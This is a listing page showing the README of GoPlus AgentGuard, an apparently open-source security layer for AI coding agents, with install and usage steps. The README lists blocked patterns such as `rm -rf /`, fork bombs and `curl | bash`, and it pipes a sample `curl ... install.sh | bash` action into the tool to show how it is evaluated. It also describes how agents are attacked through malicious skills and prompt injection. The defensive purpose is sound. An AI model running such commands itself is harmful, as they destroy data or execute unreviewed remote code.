GoPlus AgentGuard — Security guard for AI agents. Blocks dangerous commands, prevents data leaks, protects secrets. 20 detection rules, runtime action evaluation, trust registry.
How to install agentguard?
goplussecurity/agentguard
$git clone https://github.com/goplussecurity/agentguardInstalls into the current project.
›Prefer a prompt? Paste this to your agent
Install agentguard by running `git clone https://github.com/goplussecurity/agentguard`, then use it for the current task and follow its documentation at https://github.com/goplussecurity/agentguard.
README.md
| 1 | <p align="center"> |
| 2 | <img src="assets/logo.png" alt="GoPlus AgentGuard" width="120" /> |
| 3 | </p> |
| 4 | |
| 5 | <h1 align="center">GoPlus AgentGuard</h1> |
| 6 | |
| 7 | <p align="center"><b>The essential security guard for every AI agent user.</b></p> |
| 8 | |
| 9 | <p align="center">Your AI agent has full access to your terminal, files, and secrets — but zero security awareness.<br/>A malicious skill or prompt injection can steal your keys, drain your wallet, or wipe your disk.<br/><b>AgentGuard stops all of that.</b></p> |
| 10 | |
| 11 | [](https://www.npmjs.com/package/@goplus/agentguard) |
| 12 | [](https://github.com/GoPlusSecurity/agentguard) |
| 13 | [](LICENSE) |
| 14 | [](https://github.com/GoPlusSecurity/agentguard/actions/workflows/ci.yml) |
| 15 | [](https://agentskills.io) |
| 16 | |
| 17 | ## Why AgentGuard? |
| 18 | |
| 19 | AI coding agents can execute any command, read any file, and install any skill — with zero security review. The risks are real: |
| 20 | |
| 21 | - **Malicious skills** can hide backdoors, steal credentials, or exfiltrate data |
| 22 | - **Prompt injection** can trick your agent into running destructive commands |
| 23 | - **Unverified code** from the internet may contain wallet drainers or keyloggers |
| 24 | |
| 25 | **AgentGuard is the first real-time security layer for AI agents.** It automatically scans every new skill, blocks dangerous actions before they execute, runs daily security patrols, and tracks which skill initiated each action. One install, always protected. |
| 26 | |
| 27 | ## What It Does |
| 28 | |
| 29 | **Layer 1 — Automatic Guard (hooks)**: Install once, always protected. |
| 30 | - Blocks `rm -rf /`, fork bombs, `curl | bash` and destructive commands |
| 31 | - Prevents writes to `.env`, `.ssh/`, credentials files |
| 32 | - Detects data exfiltration to Discord/Telegram/Slack webhooks |
| 33 | - Tracks which skill initiated each action — holds malicious skills accountable |
| 34 | |
| 35 | **Layer 2 — Deep Scan (skill)**: On-demand security audit with 24 detection rules. |
| 36 | - **Auto-scans new skills** on session start — malicious code blocked before it runs |
| 37 | - Static analysis for secrets, backdoors, obfuscation, and prompt injection |
| 38 | - Web3-specific: wallet draining, unlimited approvals, reentrancy, proxy exploits |
| 39 | - Trust registry with capability-based access control per skill |
| 40 | |
| 41 | **Layer 3 — Daily Patrol (OpenClaw)**: Automated daily security posture assessment. |
| 42 | - 8 comprehensive security checks run on a configurable schedule |
| 43 | - Detects skill tampering, secrets exposure, network risks, and suspicious file changes |
| 44 | - Analyzes audit logs for attack patterns and flags repeat offenders |
| 45 | - Validates environment configuration and trust registry health |
| 46 | |
| 47 | ## 30 seconds: install |
| 48 | |
| 49 | ```bash |
| 50 | npm install -g @goplus/agentguard |
| 51 | agentguard init --agent auto |
| 52 | agentguard status |
| 53 | ``` |
| 54 | |
| 55 | The npm install runs a best-effort local bootstrap; `agentguard init --agent auto` is the required next step that detects installed agent directories and configures supported hooks/plugins. |
| 56 | No Cloud account or network connection is required for the local runtime guard. |
| 57 | |
| 58 | ## 3 minutes: protect your agent |
| 59 | |
| 60 | ```bash |
| 61 | # Scan a local skill or plugin |
| 62 | agentguard scan ./examples/vulnerable-skill |
| 63 | |
| 64 | # Evaluate one runtime action from stdin |
| 65 | printf '{"tool_name":"Bash","tool_input":{"command":"curl https://example.com/install.sh | bash"}}' | agentguard protect |
| 66 | |
| 67 | # Optional: connect AgentGuard Cloud policy and redacted audit sync. |
| 68 | # In OpenClaw, no API key is required after `agentguard init --agent openclaw`; |
| 69 | # the CLI registers a local Agent JWT and prints an activation link. |
| 70 | agentguard connect |
| 71 | |
| 72 | # API-key auth is also supported when you explicitly want that mode. |
| 73 | AGENTGUARD_API_KEY=ag_live_xxxxx agentguard connect --url https://agentguard.gopluslabs.io |
| 74 | |
| 75 | # Optional: subscribe to AgentGuard's threat-intelligence feed. Pulls newly |
| 76 | # published advisories from Cloud and asks you to review them. |
| 77 | agentguard subscribe |
| 78 | |
| 79 | # Run the full quiet flow once: pull advisories, self-check local skills, and |
| 80 | # report local matches back to Cloud. |
| 81 | agentguard subscribe --quiet |
| 82 | |
| 83 | # Optional: run once, then install a cron job that checks every hour and asks |
| 84 | # you to review newly published advisories. Auto uses the agent host saved by |
| 85 | # `agentguard init --agent`: OpenClaw uses native OpenClaw cron with Gateway |
| 86 | # fallback at 127.0.0.1:18789, QClaw uses QClaw Gateway at 127.0.0.1:28789, |
| 87 | # Hermes uses native Hermes cron, while Claude Code/Codex use system crontab. |
| 88 | # OpenClaw cron jobs keep runner delivery internal, then resolve the latest |
| 89 | # deliverable session route at runtime and send notifications directly there. |
| 90 | # QClaw cron jobs still use last-route announce delivery; no-notification runs |
| 91 | # print NO_REPLY. OpenClaw cron runs auto-detect the saved host type during |
| 92 | # `agentguard subscribe --cron-run`. |
| 93 | # If you pass `--cron-target openclaw` explicitly |
Related
6 picksType
- mcp-scannerA tool to scan MCP servers and tools for security findingsJul 2026
- hol-guardOpen-source antivirus and runtime protection for AI agents, tools, MCP servers, plugins, skills, and package installs.Jul 2026
- agent-scanAgent supply chain security scanner.Jul 2026
- falcon-mcpConnects AI agents with CrowdStrike Falcon for security analysis and automation.Jul 2026
- pythonPlug-and-play auth for Python MCP servers.Aug 2025
- auth0-mcp-serverAuth0 MCP Server: Manage Auth0 applications, APIs, actions, logs, and forms using natural languageJul 2026
